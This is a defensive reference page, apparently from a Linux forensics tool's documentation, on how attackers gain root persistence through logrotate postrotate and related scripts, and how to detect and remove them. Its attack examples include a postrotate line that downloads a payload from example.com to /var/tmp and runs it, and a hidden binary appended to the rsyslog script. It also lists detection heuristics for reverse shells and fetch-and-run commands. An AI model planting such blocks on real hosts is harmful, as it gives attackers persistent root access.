Skip to content

On a schedule

Logrotate Scripts: Linux Persistence via postrotate

How attackers hide commands in logrotate postrotate, prerotate, firstaction and lastaction scripts that run daily as root, and how to find and remove them.

MITRE ATT&CK
No dedicated ATT&CK technique
Tactics
Persistence, Privilege escalation, Defense evasion
Runs
On a schedule
Set up by
root
Locations
  • /etc/logrotate.conf
  • /etc/logrotate.d/*

How it works

logrotate runs once a day as root: from logrotate.timer and logrotate.service on current Debian, Ubuntu, RHEL and Fedora, from /etc/cron.daily/logrotate on older or non-systemd systems. It reads /etc/logrotate.conf, which normally contains include /etc/logrotate.d, so every file a package or an administrator drops in that folder is configuration. Each block names one or more log paths or globs, then directives between braces. Five directives take a shell script, written on the following lines up to endscript and run with /bin/sh:

DirectiveRuns
prerotateBefore each matching log is rotated
postrotateAfter each matching log is rotated
firstactionOnce, before any log of the block is rotated (and before prerotate)
lastactionOnce, after all logs of the block are rotated
preremoveBefore an old rotated log is deleted, with its name as $1

With sharedscripts, prerotate and postrotate run once per block instead of once per log. Scripts only run when something is actually rotated: the log must exist and be due (daily, weekly, size…). ifempty is the default, so an empty log with daily rotates, and runs its scripts, every day.

Two safety checks matter when reading a suspect file. logrotate refuses configuration files that are group- or world-writable, and recent versions also those not owned by root; and in included folders it skips names ending in taboo extensions such as .dpkg-old, .rpmsave, .disabled or ~. The state file, /var/lib/logrotate/status on Debian and Ubuntu or /var/lib/logrotate/logrotate.status on RHEL and Fedora, records when each log was last rotated. On systemd hosts, systemctl cat logrotate.service shows whether the package adds sandboxing (for example ProtectSystem= or PrivateTmp=), which limits what a script can write.

Where it lives

PathWhatWho can write it
/etc/logrotate.confGlobal defaults and include linesroot
/etc/logrotate.d/*Per-package and local blocks (rsyslog, apt, nginx…)root
/var/lib/logrotate/status, /var/lib/logrotate/logrotate.statusLast rotation time of each logroot (logrotate)
/usr/lib/systemd/system/logrotate.timer, logrotate.serviceDaily schedule on systemd hostsroot (packages)
/etc/cron.daily/logrotateDaily schedule through cronroot
A user's crontab running logrotate -s <state> <conf>A private logrotate run as that userthe user

How attackers use it

A new block with a script

The attacker adds a file for a log of their own and creates the log, so there is always something to rotate:

# /etc/logrotate.d/syslog-agent
/var/log/syslog-agent.log {
    daily
    rotate 1
    missingok
    postrotate
        /usr/bin/curl -fsS https://example.com/k -o /var/tmp/.k && chmod +x /var/tmp/.k && /var/tmp/.k
    endscript
}

Daily root execution, no cron entry, no unit, and a file name that looks like it belongs to a logging package.

A line in a packaged script

Quieter still: one line appended to a postrotate that already exists. Every responder has seen this file; few read it to the end.

# /etc/logrotate.d/rsyslog (excerpt)
    postrotate
        /usr/lib/rsyslog/rsyslog-rotate
        /usr/local/sbin/.rsync-agent >/dev/null 2>&1 &
    endscript

Rotation as anti-forensics

The same configuration can make evidence disappear: rotate 0 and maxage 1 delete old logs, shred overwrites them, and a prerotate script can edit auth.log before it is archived. That is not code persistence, but it explains log gaps that line up with rotation times; see history tampering for the shell side.

How to check a host

On a live host

grep -nE -A6 '^\s*(prerotate|postrotate|firstaction|lastaction|preremove)\s*$' /etc/logrotate.conf /etc/logrotate.d/*
grep -n '^\s*include' /etc/logrotate.conf /etc/logrotate.d/*
ls -la --time-style=full-iso /etc/logrotate.d/
dpkg -S /etc/logrotate.d/* 2>&1 | grep 'no path found'      # Debian/Ubuntu
rpm -qf /etc/logrotate.d/* | grep 'not owned'               # RHEL/Fedora
dpkg -V | grep /etc/logrotate                               # or: rpm -Vf /etc/logrotate.d/*
logrotate -d /etc/logrotate.conf 2>&1 | less                # debug mode: changes nothing, runs no script
cat /var/lib/logrotate/status                               # RHEL: /var/lib/logrotate/logrotate.status
systemctl cat logrotate.service; journalctl -u logrotate.service
grep -rn logrotate /etc/crontab /etc/cron.d /var/spool/cron 2>/dev/null

Running logrotate without -d on a suspect host executes the scripts; don't.

Offline or from a collection

Read /etc/logrotate.conf, every file in /etc/logrotate.d, and any other folder an include line names. Compare each file with the package database (dpkg -S, the Conffiles: checksums in /var/lib/dpkg/status, or rpm -Vf against the image's RPM database). The state file tells you which blocks were live and when they last rotated; the journal or syslog of logrotate.service shows errors scripts printed. Hash and check ownership of every program a script calls.

Linux Persistence does the configuration part offline: drop an archive made with the collection command and it lists every logrotate script with the log block it belongs to.

What Linux Persistence flags

The tool reads /etc/logrotate.conf and every file in /etc/logrotate.d. Each prerotate, postrotate, firstaction, lastaction or preremove script (directive alone on its line, body up to endscript) is one entry, named after the directive and the log paths of its block; empty scripts are skipped. The body goes through the command heuristics:

  • Downloads and runs code: a fetch piped into an interpreter, or a download that is made executable and run, as in the first example (high).
  • Reverse or bind shell and Decodes and runs a payload: a shell tied to a socket, or base64 or hex decoded into an interpreter (high).
  • Runs from a temporary folder (high) and Runs from a hidden folder (medium): the script uses /tmp, /var/tmp, /dev/shm or a dot-named path such as /usr/local/sbin/.rsync-agent.
  • Detaches from the session: nohup, setsid or screen -dm (low).
  • Interpreter with inline code: python -c, perl -e and the like (medium).
  • Makes a file immutable: chattr +i in a script (medium).
  • Embedded encoded blob: a long base64 or hex string (medium).
  • Not installed by any package: an unowned file in /etc/logrotate.d (low).
  • Differs from package package: a packaged file whose checksum changed, such as the rsyslog excerpt above (low).
  • Changed date: modified within 7 days before the newest file in the collection (low).
  • program also runs from mechanisms: the script's first program is also started by another mechanism (medium).

Scripts in unmodified packaged files, such as rsyslog's own postrotate, stay listed with their flags shown as info. The package checks need /var/lib/dpkg in the collection; RPM databases are not read.

Limits: folders included from elsewhere and private logrotate configurations started by a user's crontab are not read (the crontab line itself appears under cron). Retention settings such as rotate 0, maxage or shred are not flagged, and without file modes the tool cannot tell that logrotate would refuse a group-writable file.

Cleaning up

  1. Preserve the configuration file with its times (cp -a), hash it, and copy the state file and the programs the script calls before anything rotates again.
  2. Delete the planted file, or remove the added lines and restore the packaged version (apt install --reinstall <pkg>, then resolve the conffile prompt; dnf reinstall <pkg> on RHEL). Confirm with logrotate -d that no unexpected script remains.
  3. Remove the payload and the decoy log the block rotated.
  4. Look for the same payload on the same daily cadence: cron jobs, systemd timers and units.
  5. Rotate root-readable secrets, and treat logs from before the planting as possibly altered.

References

See also

On Linux Forensics

The artifacts behind this technique, in the Linux Forensics reference: